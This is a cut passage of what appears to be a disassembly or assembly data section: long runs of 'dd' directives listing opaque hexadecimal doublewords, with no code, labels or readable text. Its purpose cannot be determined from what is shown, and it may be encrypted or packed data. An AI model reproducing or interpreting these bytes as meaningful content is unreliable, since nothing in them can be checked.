5EC1616Ah, 652546E9h, 0DCE0E935h, 2F19D03h, 1E251E4h dd 0A22A461h, 0CF6220B8h, 4A2A8B90h, 7F802FB0h, 0BA4CE78h dd 0DAA53991h, 538E593Fh, 4D3F815Bh, 933141D6h, 2954CC25h dd 809D4AAh, 3E6EE482h, 0FFF32948h, 5B896714h, 6B5902F4h dd 0DF317D0Ah, 0CF40DF32h, 0A0303687h, 702A343Dh, 2157CE7h dd 62CAF8C3h, 415F2911h, 5B810A6Ch, 335069C5h, 0CB047F7Eh dd 590BB692h, 82204C5Ah, 9213BDE7h, 0A74963D1h, 83A85F14h dd 57562FA0h, 4999E9D8h, 5717BF8Dh, 5131C8F8h, 0A7D1883Dh dd 310A037Fh, 6AC0B9C6h, 48F73A64h, 360097DBh, 355F2F72h dd 835071ACh, 629F4BEEh, 0D211D4A5h, 68E1E7FEh, 0DE786B2Eh dd 840812C4h, 0FD68D4A2h, 220B416Fh, 62BFD26Bh, 0F0486CDFh dd 5C1EAF05h, 3B897517h, 499057BDh, 0D9C712C7h, 7F35BDDh dd 4A107D08h, 0F6D080D3h, 0C13880D9h, 59CB07A2h, 0EB82F328h dd 519C7637h, 46A430h, 680BF009h, 6B353D6h, 0AEB15185h dd 33737630h, 0EAE2E7CEh, 0D92FAECDh, 0D7D9E943h, 0B2BCE984h dd 16D2E3AAh, 71EB0144h, 0A5265CA6h, 4A3AD716h, 42A918E8h dd 9904695h, 45087EBBh, 80F58055h, 90263546h, 4EFA1F5Ah dd 14CAED7Ah, 7752B55h, 3A8B2E74h, 1CA28CE3h, 29954DACh dd 910DF4Ch, 0C5290485h, 3EA98958h, 0EBC4BF59h, 4B42B726h dd 1189C31Fh, 44AE43Ch, 9F685058h, 0C9E7A842h, 581E29A2h dd 0DFE7063Bh, 0DE39BB6Eh, 627E6117h, 1BC21EB8h, 1C0D154h dd 310420B9h, 84E9677Fh, 622074E1h, 972709B0h, 0BD094D53h dd 5079BFEh, 6E055AE2h, 0F15670ACh, 97534F50h, 173D7FFBh dd 60FF5B13h, 3A5EE9B8h, 0AAE6EBC0h, 0EC6EAD2Ch, 0AF953AEEh dd 0F0291C8Ah, 27DA0CA3h, 0B12CF229h, 983D9E71h, 0BE16E12Ah dd 0C34616CCh, 7F23FA5Dh, 0BBBE0019h, 2B4758E4h, 0DD9A7C68h dd 287F2A98h, 5CA490B5h, 9765B4EFh, 0F8DECD07h, 6882D769h dd 3F4CF6CEh, 0F5A554E5h, 57E01AD5h, 359109E0h, 0F41E5AD6h dd 0FDFE4249h, 8975A31Ah, 1203157Bh, 0D6CABA55h, 0DF7A8700h dd 0F2F4BD2Bh, 7D2E3127h, 0EE5A900h, 7D585F26h, 497B04EAh dd 86AB24B1h, 44C41296h, 3780A0D6h, 0BFF8215Dh, 77243A65h dd 9633DB16h, 70F1CA53h, 0B0351CB2h, 8D925EDFh, 3AE00E98h dd 0C0EB52B4h, 0F54A2DE3h, 95FBFA8h, 51CD3994h, 277F2020h dd 5C44537Ah, 0CEAE919h, 923B5824h, 0EDF7A4F1h, 0D7E98443h dd 633EE42h, 7765F6BAh, 5F0AB550h, 0B4E9424Bh, 0C0BD12C8h dd 4FE8421Eh, 14F2199Ch, 0D59EFD5Bh, 0D2418C90h, 6FE46E30h dd 2D8561CBh, 0CD25BEF4h, 0BF370EBFh, 755CC419h, 68BEE582h dd 53E64B79h, 0A1CBBED2h, 1B7AE90Ch, 0D125684Eh, 6040563Bh dd 40112FBBh, 0B4BF6703h, 24A7BEFCh, 1218DE16h, 3F34E00Ah dd 0CA3D0725h, 208092Dh, 0F1F4CE7h, 514C04D2h, 63BA00A0h dd 0F446FE2Dh, 0F7DE6B29h, 0F9539076h, 0DD3F420Fh, 9182DA6Eh dd 68075B57h, 59983214h, 0B01212FFh, 2D5413D6h, 5DEEEC11h dd 15BF5702h, 75306948h, 0FFE9E2h, 0AA6A8370h, 0D2B9004Dh dd 0E9FF59B2h, 0A1951E23h, 80362AA3h, 4EE9520h, 79C04DC7h dd 85B9C529h, 0F03121BFh, 0E7EC24AAh, 440748h, 0EA145C35h dd 32E9FE31h, 0ADBD23A1h, 0A66FF276h, 51015A8h, 0E8C0D0F6h dd 1F32F804h, 81D2732Ch, 8AF04A84h, 41B913F6h, 4B2A1264h dd 0A62A6957h, 94B0081Bh, 2D9E5C2Fh, 32BD2CD8h, 81F375D9h dd 6280E90Bh, 7416D7D6h, 6C306818h, 99B4A729h, 165AAEFCh dd 206A1E52h, 16FDEA82h, 4E2F2723h, 68FA9A98h, 9E605F82h dd 0CA7E8482h, 2CC8313Fh, 808F048Eh, 0F65201CEh, 5AE52454h dd 12A4EEE4h, 313CA868h, 0F40EB5CBh, 282ED4C5h, 0E98413EEh dd 0B405E0h, 804F00A2h, 94E28132h, 1A3B3F1Ch, 24758C1h dd 0B614D9C2h, 3AE84491h dd 700A54FAh, 26060558h, 2B62CF36h, 0FD46CBh, 99290B73h dd 0CF015C43h, 0EA733713h, 0ABB27277h, 71ED7D3Ch, 93040888h dd 237AF156h, 7A3781C8h, 89204348h, 0B78516CDh, 0E9D203BCh dd 2A1788EDh, 25E95F54h, 0EB5BDF84h, 867AB92Dh, 1F984A23h dd 21385317h, 0E0002CADh, 0F7223424h, 0ED09C1DDh, 2077E903h dd 51D3F601h, 80B605B5h, 0E808EBF5h, 99C31E89h, 28FBF342h dd 94D243D8h, 3B83D8BBh, 0FE56BD40h, 13BBCB5h, 55B3F68h dd 0E22B6023h, 6B46BB09h, 1DA40215h, 0EE9B6801h, 930405ABh dd 995D56F3h, 1D9FA682h, 0BCD5200Ah, 0FABD546Bh, 5536EF44h dd 0A0516726h, 2D730B8Ah, 518C296Bh, 12022012h, 0CE81684Bh dd 4E3FE19Eh, 0D88E969Eh, 1FF60C71h, 9472252Eh, 0F9293631h dd 5DF21E61h, 6325C14h, 0DD467405h, 519D8648h, 27554D26h dd 0A92F312Ch, 80A47501h, 0F2472119h, 7C38100h, 54EA3E16h dd 1EDB0B10h, 0B417C2Ch, 4103E945h, 94C544A8h, 485959FFh dd 0CA01800Ah, 0E9DAF635h, 0A82A1A79h, 818BD489h, 4B9F56B8h dd 4A9B9C60h, 2C172979h, 4E24026Dh, 0DC5B51DFh, 789842C3h dd 4CDE4DDh, 3A3558E2h, 0BCBF801Eh, 0F14FC5CFh, 0F85DD8C2h dd 0EE887D22h, 0E8B6636h, 0D2E43A59h, 0B33C62C1h, 0C42BD8C9h dd 0F25E827Bh, 0A0439C5Fh, 8039B80Dh, 71682B9h, 46BF3EB3h dd 97320B60h, 1F0550B5h, 0E4B9D73Ah, 0CA2D818Eh, 0E434E868h dd 7A105D8h, 3E02D95Bh, 0FDD6D7F3h, 0C37C3EA5h, 0EEE34E73h dd 0E8009E69h, 4EE803C1h, 0E649EE0Ah, 0F8F7F231h, 52492D42h dd 0B504F17Ch, 4C10732h, 8078E5E9h, 689CF45Bh, 3D8A6FB0h dd 7D638955h, 5F17E347h, 6D4AC731h, 170BFA05h, 302BDAFDh dd 660D56B9h, 521F5351h, 0EC0E08B6h, 0CBAE134Bh, 0E1197FC8h dd 0C8980125h, 0AADF44h, 0F8424BD8h, 0E34CC170h, 0FA231C2Bh dd 2DFC162Fh, 10DA998Ch, 66879125h, 4468175Eh, 0A22EB841h dd 9812505Bh, 393E3282h, 0EC705D80h, 0E66C5E2Fh, 12F14B64h dd 1CDB4492h, 45FA1248h, 0B4C7C5C7h, 31392167h, 0CB5F7BD0h dd 0DDBAD400h, 9433AE77h, 2D592588h, 68B94062h, 0C5079971h dd 0EEB4CED5h, 9DE6AF33h, 3D26F1F3h, 52011FA4h, 0EF8D84EBh dd 7CD83E79h, 0C1C7C97Eh, 71E1967Fh, 0E2758209h, 7AC100D3h dd 951ED847h, 8A72DED0h, 52E12725h, 0E9CB1318h, 4FBCB89Fh dd 0AD4F7BDBh, 0A0688266h, 82DCD95Dh, 256F2916h, 0C5F3A05Dh dd 4C4B0B4Fh, 4A60D9B8h, 0C4116CBFh, 0EEE9250Bh, 60115463h dd 242642Ch, 0AEB25E60h, 20EA309h, 0E00AEB81h, 44F7F3AAh dd 22A4017Bh, 4EE91AF2h, 5946AD98h, 40F469B0h, 80CEA554h dd 65440DBCh, 2A7201E9h, 0F617B0E0h, 26B2C328h, 0EF373634h dd 0FA6D7DA1h, 9A73204h, 0C3B4EF43h, 0A8D132E9h, 1156E263h dd 1F5F0569h, 13BE6184h, 0F4592956h, 539DCEA0h, 0CC82DC4h dd 9B12197Bh, 5B04D10Fh, 99A5E747h, 3030FB49h, 95681DC9h dd 38C6803Fh, 294E907Ah, 4CE9CE0Dh, 0A12A3319h, 96E02A53h dd 0D3CED002h, 50685600h, 5E25E630h, 220158B1h, 89A2B5D7h dd 6D625201h, 6E661CE4h, 0B094CE6h, 914C5509h, 829C02F4h dd 5BC9E51Dh, 1EB5728Eh, 8C705552h, 0E34D3EE8h, 0A54A60Bh dd 1FAEE013h, 9710EE50h, 9981694h, 9A6BA30Bh, 99A08F06h dd 86885264h, 7727D599h, 8415A32h, 0C9BF008Bh, 44AD3D59h dd 0B5A66E1Ah, 4C22F89h, 31593060h, 94F9BBCh, 6823C015h dd 4CC0ECBBh, 0D920715Dh, 0A3398912h, 74D44804h, 8B754D09h dd 3197027Ch, 0ED4D4061h, 1BF23CB1h, 277A29ACh, 6413B522h dd 25BF64F9h, 0D5080929h, 3B93624Ch, 3EAC28B4h, 75849574h dd 78FBF15Ch, 7568C300h, 0BF312F5Fh, 0B1CB9968h, 4A48E1E0h dd 22E9B083h, 0C071927Fh, 3238AFDEh, 0DB5CF77Ch, 11B1348Dh dd 4FB52FEh, 133362B5h, 56B1EE01h, 0DB477EF7h, 5AAB72D2h dd 495B78F8h, 5E25ACB7h, 0F4C9CED1h, 0E41425B6h, 1867549Fh dd 683E06A0h, 0AD2CDD26h, 69BD16C3h, 68F5F83Dh, 81EDA7ACh dd 88A42B31h, 0FC82D32Dh, 33F009DFh, 7940DF92h, 0F1825EEh dd 0D70C6BEAh, 225D2C5Eh, 87F58918h, 4D81C57h, 0F471D4BAh dd 66C4FE31h, 41A89C52h, 1CE0996h, 0F7EB9E76h, 3B5C8891h dd 2F3264E6h, 51F65ADBh, 98CB42C6h, 9A79058h, 4CB34896h dd 33934F09h, 3E05801Ch, 574E55CBh, 20071D88h, 68B240D4h dd 807F37A2h, 8E254568h, 0BAC1D62Bh, 620B9350h, 70FCE924h dd 116497EEh, 680C2C42h, 0DBBF5045h, 2B221A4Eh, 8A44FF5Ch dd 7A29DE22h, 75598112h, 0C1A2E7BCh, 707D3A4Ah, 97BD2AA1h dd 5BDD2D95h, 0C072B0Bh, 0BB120E3Fh, 904506D9h, 8B660EEBh dd 0B72DBAD3h, 78169D39h, 475BD3E7h, 4268FE01h, 0FA8759A1h dd 0E31169Dh, 0D097E4E9h, 0A70E1938h, 0D37D117Fh, 69A18EAh dd 425FBF24h, 29C99AC7h, 0C25FDE6Fh, 66D5FF76h, 0ECC9F3B4h dd 35D412A5h, 632B0B9h, 90DBF65Ah, 13009872h, 4A3CE9D8h dd 6FA525Bh, 541A79CFh, 6885D354h, 0C631E32Fh, 35AF091Dh dd 0BCC85D29h, 0B9805362h, 1457795Bh, 0A6E1D163h, 5C508820h dd 0FE4EF060h, 0E081B6A9h, 0F83D1671h, 0DB9F1F75h, 0F740A59Fh dd 2A5B9417h, 6A68AE00h, 24E9462Bh, 0C2EE86E1h, 0D709F4CFh dd 0CB0D79E8h, 6E4A9DECh, 350006ECh, 0FFB192Bh, 550B2D40h dd 0F8C4C67Dh, 5BC8A0A4h, 59342745h, 0F6DE7839h, 6DEE7155h dd 0E7A67E08h, 2AAF5410h, 0C30420B8h, 18796858h, 154E4F91h dd 7279A4ADh, 0AB655660h, 0B2249809h, 2A9C3Eh, 6801C283h dd 189D5BB1h, 2D4F1356h, 16232A30h, 5C1F34EBh, 0E7DFF331h dd 0FCCDBDE6h, 2F66A32Bh, 0DFD112DAh, 0B9805FC5h, 166A13E3h dd 96630E9h, 24ECF2Dh, 0A3F0964Bh, 0B3CC140Fh, 247DA134h dd 2F18F11h, 6D77E9FEh, 0C0455671h, 2D53B6B0h, 0C9E08FB7h dd 0E73B80C7h, 50DF9F20h, 88AFB343h, 7FEC7CDCh, 0CF75C58h dd 0A3EF5517h, 0D49219D0h, 0C86F214Ch, 0ED4E5AD5h, 0B18584E9h dd 0B06D25C0h, 4340D189h, 8E63BF59h, 0CEA5A38Fh, 0FB27C885h dd 66AC1A4Dh, 80453BCCh, 5E525195h, 0CAFB5F68h, 0A6BB2F38h dd 0CD2908BDh, 160F8D0Ch, 0DCC4D808h, 0A8F3EF80h, 24B2860Ah dd 6B209C90h, 37F897D0h, 256079B5h, 799736F7h, 0B10E54E9h dd 303A05C6h, 0DC591278h, 0F719EE65h, 0CECC6518h, 90082AA0h dd 77A48A49h, 759691F8h, 6B38F7CBh, 3E93FEEEh, 0EEA54F12h dd 0DBEAC4DFh, 0CDE91317h, 0A2BB4082h, 46480Ah, 1A88595Ch dd 0BDFE6497h, 0E98472E5h, 288AB306h, 3BB33D5Bh, 68D01B8Dh dd 0B81B4BC0h, 0BFC4F45Bh, 984945FBh, 0E0C21288h, 3A4C2C56h dd 0FDB92E9Bh, 0D253C417h, 0DB3FE445h, 93A4F881h, 83FBB7Dh dd 71970C73h, 0D10C7E30h, 0DEEF9E3Dh, 0FC3BF7C3h, 0C8B58858h dd 61EDC02Dh, 69D731Ch, 0BEE58F01h, 8810F521h, 84A17EEAh dd 98D78A3h, 9A845756h, 485805DEh, 0F6FEC0BEh, 4D275A13h dd 3130DD01h, 31184EEAh, 6E0C0FBFh, 60750330h, 2A43E956h dd 0AEB4614Fh, 0A2DA5EFDh, 0B5A6D87h, 292CF4F5h, 0B47DBB4Eh dd 0C14DB82Ah, 5526C781h, 0C846DFDh, 85071853h, 2BEC0B9Bh dd 0F18240E3h, 80D5957Dh, 5253C1FEh, 0CC4AB151h, 5BB3DBE0h dd 2F2BEC0Dh, 5AEF814Dh, 1F30F480h, 78A570C6h, 0F2EE75E6h dd 69F06528h, 9517C25Ah, 2CD00500h, 3567075Bh, 197F1E36h dd 0FB2E1F85h, 9B4ACFD8h dd 73B81EAAh, 3281BA6Eh, 1E4E6091h, 5D65A85Eh, 49F7B288h dd 0FB3BF592h, 851ED5A4h, 8C027468h, 80FEB6F5h, 3AF8EC38h dd 0A7C4BAF4h, 0E57450E9h, 8232F36Fh, 2802BE56h, 0D7202F1h dd 6A7D1E5Ch, 0F3080844h, 642DDDA5h, 1CB72A0Eh, 0A8F2D5C4h dd 99169EF4h, 0EE2F7FADh, 23179CFCh, 0A7EAAF83h, 0C5268F83h dd 0B056DA72h, 0C9A0E933h, 7D765239h, 48A40394h, 95CB3BA5h dd 48A4E865h, 815F09A9h, 8632DFC5h, 6474F7A9h, 3E7E042h dd 0BBAEFB5h, 5AFB3D6h, 9D0E280Dh, 2DAB728Ah, 2B230EEh dd 0E95857BEh, 0ED135AF1h, 8790C454h, 7CC170FCh, 7E43F915h dd 0BB3CA2C7h, 1EACECD0h, 0C32A5933h, 12175C5Ah, 79D368A0h dd 8229ACBBh, 2D29DF25h, 8E1A82F5h, 827D0BF8h, 7BB20982h dd 96C51034h, 0F7DD5C72h, 0E79F8E16h, 715E2597h, 0FD8D71C6h dd 25C667E2h, 0E98405F9h, 30BFEA58h, 996855E7h, 3BD3751Fh dd 9360ECCAh, 8E877569h, 1748F285h, 23D2F5Eh, 0B231F668h dd 693E5E23h, 0E91CDCFEh, 95236516h, 0BE4F1E8Eh, 38920FCBh dd 0A8A49744h, 0E4DAC47Bh, 0E8878C12h, 0B492790h, 2DE2404Bh dd 0EE495D28h, 59E6C625h, 95FCBCDh, 8DD07190h, 3A10529Dh dd 19AB3CA4h, 0C5E0549h, 0DEDEAF37h, 0DF5D1EEEh, 4144FC2h dd 132DF005h, 3BCF0207h, 0B0C06C7Bh, 0F1D40E9h, 0C98113D0h dd 4E5E199Fh, 3F05E1F0h, 49BEEF21h, 92FC197h, 0E075D321h dd 4120454h, 57E91A4Ah, 5D50CC64h, 37631BF2h, 0C9EEB912h dd 187A1EDAh, 3A446E85h, 74933827h, 23138B5Ch, 0FDA60B65h dd 2CAC27E4h, 0B6B6D84Ah, 8802295Bh, 0D42EBE68h, 0E877792Eh dd 1345C10h, 81264C1h, 0A43785F6h, 6845CCC9h, 65659B2Dh dd 0C6B882Ch, 4AA8FE17h, 95F27F2Ah, 187A4EC2h, 38A35A4Eh dd 68E0D302h, 0B7517FF2h, 2237DB80h, 0E4CD8123h, 13AC0663h dd 9701C583h, 6EE86814h, 2AD38019h, 2DE902ACh, 27797825h dd 8FBC123Ch, 297B99E7h, 459D6ADDh, 3E6CDC5Bh, 0CD2A025Bh dd 0A806494Eh, 507C4580h, 4B710AB8h, 0EFFA6C50h, 22C16881h dd 1272C276h, 27566A3Eh, 0A91036D7h, 6392EB5Eh, 7823565Dh dd 0F34FF9E9h, 12B02088h, 9C8FE59h, 0F70279Bh, 3238B800h dd 5401F93h, 200E1D8Dh, 0DF4F4047h, 0E8E9D951h, 0AAA4ED5Bh dd 0A164634Eh, 3E0052E5h, 106E313Bh, 25D91FBAh, 747E6A78h dd 0B25EF4Ah, 0BE7523h, 13436816h, 9137DCE3h, 526BD225h dd 0A3AE2545h, 2F3B8A88h, 0D0037D8h, 5B276155h, 780A812Dh dd 0C7892CAEh, 752C106Bh, 11B4AD4Bh, 0A22BF587h, 219D8DA3h dd 899E163Fh, 5B3F08B1h, 62926814h, 0C40A9459h, 5F02FF57h dd 0C57FC731h, 0E90730BFh, 509B9ED8h, 0FC9DB209h, 6F8B7110h dd 52BB3100h, 30E7A4Ah, 776E381h, 0C045CF8h, 70CB4C03h dd 0F0CB87BEh, 52010CF3h, 4EA51C58h, 0ECEA7190h, 58093342h dd 20B1E40Ch, 73897A27h, 2CFF26Dh, 9CF73CA9h, 9409543Fh dd 6775EC5Bh, 0D4F2BB1Bh, 2B4BF1A6h, 513D8FB2h, 358373A7h dd 0D8637C01h, 2290E14h, 0C112C59Bh, 5DF6DB0Dh, 35023526h dd 606B8A11h, 9AA9E9C2h, 0BDC1BFF5h, 3A953920h, 18DEBD5Eh dd 0BE1432C5h, 38470028h, 5A7A053Ch, 8AF92DBAh, 0D1BCF242h dd 4CE3AB8Ch, 499A03B8h, 962D1BBFh, 78B70B40h, 0AEA5C4A5h dd 1813A852h, 6601C886h, 0EEC05A0Ch, 2D070605h, 62F8D6F6h dd 87756DC8h, 40AB6BBh, 0F3DF801Ch, 31177668h, 70401AE9h dd 0B450D2F6h, 0D746F4A6h, 0C120803Fh, 70372BC3h, 0E03F0C3Fh dd 0DFE97F1Ah, 0E9CFBA54h, 13BD3770h, 0BBD85D69h, 0D654F0Dh dd 3F22BD2Ah, 2B9AEE9h, 0E30B5065h, 5881D2EDh, 0C281B9BFh dd 0EA525558h, 0C29FEB50h, 0F699DA37h, 6A299295h, 5BA7648h dd 8731734Ch, 1CACF29Eh, 0F5DDDEAh, 8FA53C33h, 0B7532483h dd 0B1592BC1h, 0FF71463Bh, 77BE977Eh, 0F6E06412h, 284916B7h dd 347606EFh, 0BE00ED10h, 306D2DC2h, 0E0ACEE81h, 0E9120B08h dd 0A4A2C692h, 597D5B58h, 6FC70E4Ch, 96EAF613h, 9A9FF7B2h dd 53879F9Fh, 5E79F914h, 0BB2E899Dh, 85A5606Bh, 0EB198878h dd 919F0482h, 2285DEECh, 0C49AFB53h, 0FA2F0748h, 173DF5D3h dd 35C82B47h, 593800BFh, 0EF8157C1h, 12C2EE9Fh, 0D4121CE9h dd 9BB8ECEEh, 1729C352h, 2BBB348Bh, 0BB531079h, 0B40FF090h dd 6F29334h, 6DF4A512h, 4337C701h, 0F831B915h, 0EDB2292Ah dd 964A80C3h, 2957BE2Eh, 86E925DAh, 59975ED0h, 51DBE9AAh dd 0D111173Eh, 645D81D8h, 8CC137D5h, 29D3CC49h, 0E5B04B01h dd 0B6D8642Ch, 0C68003DFh, 4E6C092h, 63BCEB3h, 0F8B5F0EEh dd 0EFCF2066h, 0F439CDFCh, 0E5C08CFEh, 3B070604h, 1243BE9h dd 30044F14h, 0F9090586h, 98F17B75h, 1E1EA22Eh, 0EF4AE829h dd 0DD9FB8BEh, 1D5F888Ch, 0C5EB4D8h, 0F3D5F864h, 0BFB3050Bh dd 516ECB70h, 123D75F2h, 0E118A05Bh, 9E30F641h, 9E4545C6h dd 0A742518Eh, 0FE0F2542h, 0FFCD08EAh, 73FF521Dh, 7FE77751h dd 8D30A80h, 7A6C670Fh, 83030456h, 9610DA6Ah, 311251E7h dd 0EA3C0FCAh, 9AF281C0h, 8D4AB980h, 116A2E91h, 4710B6Bh dd 58C30376h, 45AFC568h, 0E818C58Dh, 1EA4C495h, 0E6C412A2h dd 4C1BF7D4h, 68410458h, 56823E2Eh, 0AB0C2C01h, 312A6F04h dd 58805156h, 4E3E15D7h, 0EA07C470h, 0D42F7741h, 0A957EB86h dd 0EFD3D725h, 0C188E528h, 80E6407Fh, 27F0E379h, 0FAA9425Fh dd 52D53D82h, 0ED87645Ch, 5A16A704h, 4BC99056h, 0A290B868h dd 956A7828h, 0E97053D6h, 0ACEE4AF6h, 0ABCFCBF7h, 0A0B25857h dd 4B713B20h, 0AAB13434h, 562D04B3h, 0D3287882h, 14EBCA82h dd 1DE5A0Bh, 2B1A0F2Dh, 30DFCB81h, 70957398h, 32159088h dd 0D371170Ah, 70FDB160h, 9222413Eh, 0ECC3244h, 72100C8h dd 38F9352Bh, 564853F8h, 0A7491032h, 230E053Bh, 54A11A4Ch dd 3E07A91Fh, 0A72D89FDh, 0C493EB56h, 0B55568EFh, 0B920A190h dd 0BF57010Bh, 7F821E4Ah, 290540BEh, 60E75FFEh, 0CA4A57FDh dd 7AB32D77h, 0B6EB84CBh, 91F85BEBh, 2E9B93B1h, 6C610B47h dd 248072D4h, 128008A1h, 4FDDF76Fh, 2964C523h, 9202AAABh dd 8508F8E5h, 33C05286h, 0F837445Bh, 1856EECAh, 0E4278C8h dd 7C2406FFh, 58006232h, 0E9802760h, 81B26435h, 37A1AA64h dd 0F94C0F20h, 9D2DB32Eh, 56AECD81h, 0F320267Dh, 12050B78h dd 5BC85925h, 85A46F22h, 6A215A1Bh, 4973B190h, 3D701FD5h dd 3A3D16D7h, 0A62207AFh, 0EB3F6445h, 7ADBE206h, 51EE073Fh dd 60187456h, 9061B6CEh, 0E0F618C1h, 0BE609119h, 0E3D00CC6h dd 0E73020CFh, 4F655F18h, 0F8322724h, 19E2B519h, 1B41A61h dd 737180B2h, 46AEA42Bh, 6EEFA4FCh, 4B4A45E3h, 0F1F82075h dd 0C90166B2h, 683C344Ah, 0BC3C1D93h, 0F81EA5C1h, 0E1002B5Bh dd 413EB951h, 0C2464B79h, 697F49C1h, 136B8E2Bh, 7464FA6Dh dd 0C0FB62FAh, 34A6FCCBh, 60D1D381h, 0E6EC5823h, 0B06EEC41h dd 200CE5ECh, 20665AF1h, 0ED087772h, 0A8B0F7E3h, 919683E9h dd 0C2FE81E9h, 230D1468h, 7CB400A6h, 0F607E4C0h, 0B25202D4h dd 0FAF9E937h, 2D5420DDh, 7C446838h, 49555B66h, 0DDC64Bh dd 0C32A494Fh, 0D7F7177Bh, 54310F4Fh, 9371BB52h, 311114D3h dd 0EED001DEh, 0BB93C0F6h, 4EC67D28h, 0DCAD170Dh, 9B93569Ch dd 0B3C04869h, 0FB9A9DB4h, 4090B2F0h, 70A5F25Fh, 5DB3B2D6h dd 44BF17CCh, 0EF09B381h dd 10916206h, 25295848h, 8CB355A3h, 250AB8ACh, 58F2FE5Eh dd 0E98040A6h, 0BFABDC8h, 0FEEF8832h, 6570B7Eh, 0F81DA9F1h dd 3A3C9CD3h, 90794B4Bh, 0BE2D88F4h, 9D6812A0h, 0F4A2E87Fh dd 13D89D50h, 5E927BC0h, 828A7C02h, 0A3B935E0h, 42890FE8h dd 7595304Fh, 5420C4A1h, 3533C3Fh, 0C4054001h, 7AA9FCACh dd 0D2455E97h, 0D266855Bh, 3E47D7B2h, 6E63D226h, 4609877Dh dd 0E07EA16Dh, 60B257C2h, 0B040EEFDh, 5A72014h, 6BD4BF0Eh dd 0FB31E59Dh, 49E45699h, 0D4DB7F09h, 53206734h, 3FC6B901h dd 0C8294DE0h, 4478CC7Fh, 208C14BFh, 49E66842h, 0CB000C48h dd 0C62F954h, 0BD1AA12Ch, 96782D00h, 91F58107h, 2F451717h dd 0EEE5C2F7h, 63C38000h, 7F681259h, 0EDCD6371h, 0CC33ECF1h dd 46B082C4h, 0D0F32662h, 0FFC4DD5Ah, 0E6387627h, 6DBE2523h dd 3CC277D6h, 29C08E8h, 49421EFEh, 600C8277h, 27F809F8h dd 0D37AF10Dh, 14FCCB65h, 304AC6E2h, 6420A2E8h, 2633FA58h dd 442D0119h, 8CC2FF66h, 0E9CBA2A5h, 84685D16h, 0D782DC38h dd 90586C0h, 9D1F9F2Ch, 820D924h, 0E4E2E913h, 0E3078BBDh dd 0F06326D6h, 459A7475h, 0D5D02925h, 0C8015C14h, 0E973DA6Eh dd 0E56399ABh, 6B1A0D7h, 67BAFA4Ah, 0E8FD9973h, 1760B9B5h dd 0FC733426h, 925A7D3Fh, 8743C85Eh, 3DF4EA89h, 89419935h dd 5E5DF558h, 0BB64EF2Dh, 0B931AA82h, 0B26A4357h, 21AE8095h dd 0B0094CEBh, 0FA12A01Ch, 56CF27Bh, 47429905h, 0E3E9C37Ah dd 5E543C12h, 0F9FC8DFBh, 2F947C43h, 25FD5E5Ah, 0E90C38F5h dd 0A8A94B79h, 1AF7A1C8h, 0C8AE8355h, 0B85BE4BCh, 5CCBC6BDh dd 0BBDBEC85h, 0BF700025h, 5F66E9DAh, 0C2E3B987h, 5F36A068h dd 434B7DECh, 6188F822h, 7FEA29FBh, 7EBB43C5h, 102A613h dd 0B6CE68B2h, 9ECE8042h, 2634A9DEh, 15371EAAh, 6607F4DDh dd 4A7C2D68h, 8072031Ah, 63877EBh, 0BEF32411h, 7606EF3Ah dd 49049C13h, 9EE153E9h, 8951F72Bh, 0C778C891h, 0FA132416h dd 7C310963h, 0C387C27Eh, 0F2760DFh, 5DC8AFC2h, 7933EE98h dd 9C13D32Ch, 7EFC100h, 99231BE9h, 81688475h, 0C950E818h dd 0A755CD58h, 30C41CF5h, 0B10AC92Ch, 0D962F653h, 0DC5BDFE2h dd 0DAD47ABCh, 18314342h, 7896BE56h, 74F3AEBCh, 76C5680Bh dd 0B21C6FC5h, 77D65D23h, 39574B38h, 0E9C5F4ADh, 5AD8A00Ah dd 68150505h, 39D43B0Fh, 641071Dh, 5B460B67h, 51017832h dd 89E962B1h, 0BAFD3ADBh, 56E8297h, 72CFEB51h, 8D24C18Dh dd 39599648h, 7614EF25h, 5A3F6824h, 1D185DC9h, 942EE9D7h dd 0F4207E6h, 0F2FD901Ch, 0F7D5CE2h, 5E3CFD41h, 0AC1A9C4Bh dd 9E58D940h, 0F67AC2C1h, 0CB39F0C4h, 31A01Eh, 0C2B1116h dd 9FE9D329h, 35EC515Fh, 35EBA89Dh, 818F8028h, 48E7E1Dh dd 1B88C0AAh, 0BF3435C1h, 10FE0BDFh, 0E404CA8Ch, 0BB01F53Eh dd 51F8ABB0h, 2D380A2Dh, 82C325A4h, 50058453h, 305F2DD0h dd 0FF6A4B69h, 9F685942h, 0E99BF163h, 6E7F1629h, 29AF135Dh dd 68032201h, 48D981E2h, 8030476Dh, 131F43B9h, 8D045D54h dd 4D980E59h, 0E76514A9h, 0CD03D06Fh, 30582ADCh, 3362E5B0h dd 0E96E6106h, 5D5F787h, 1C80D8B8h, 10CDA853h, 21003956h dd 0BF575BDAh, 0EF2CE789h, 96270966h, 0F2D0503Ch, 0D271923Fh dd 7FDFABEFh, 87988720h, 0EC330E5Eh, 78A5E06Dh, 5BF985Ah dd 65D07B8Dh, 3CAD31h, 5FDB29E7h, 9C233C68h, 540D6096h dd 315B4C69h, 82E9C791h, 0E378122Bh, 0F805CA8Fh, 0D8D9E9E2h dd 7AB90087h, 0BD753921h, 0C673DE8Ah, 0A74E27FEh, 0FD2CEDA5h dd 41740512h, 0FEE7B23Fh, 789D70CAh, 5F2EFA83h, 0CB28FDE0h dd 0FB647BF8h, 4AAC050Eh, 14E14586h, 0C6EF00B5h, 7D3F5CAEh dd 83402506h, 1AC0083Ah, 432E3437h, 602C8F9Eh, 52561042h dd 50972EA5h, 7BF9C01Dh, 1CFA4BEFh, 466CF465h, 0B6D48B84h dd 630A8BAFh, 486CE93Bh, 0E0137225h, 0C7690DCh, 515A5747h dd 8C8911FDh, 1E77DCA9h, 0C19B1D0h, 56ADE6A9h, 9D92F6EEh dd 73F46815h, 0DF3C139Bh, 0C39B70BBh, 0CC092EFDh, 88CB0130h dd 0E9060814h, 5B26B5E6h, 2D09A040h, 880A3801h, 414C688Fh dd 0BFAA302Eh, 0FB3C21A0h, 0E9F8864Ah, 488F9B8Ah, 0FC073951h dd 0D2190E69h, 105F88F3h, 0CF590854h, 271C13E4h, 7E7235F4h dd 5CBE8898h, 0D4AF2912h, 91418190h, 0E9C9C745h, 0EE84FB09h dd 0B14B3EE6h, 8BFC6A29h, 0B221D1C5h, 7B680B88h, 696FF623h dd 0A7FF47FDh, 336CA28Bh, 0DE61663Ah, 0DBFF0E06h, 9565EC1Bh dd 0C77F5D89h, 4FE9845Fh, 0C458F5DAh, 1728FD48h, 0AE4D8B5Fh dd 0C6040127h, 44C3685Bh, 0D2C0A36Fh, 80F58DA0h, 295AE34h dd 775DEB9h, 5082DB28h, 15F9EC88h, 9C4E5D49h, 62C9E92Eh dd 75F7B089h, 0BC8A81C2h, 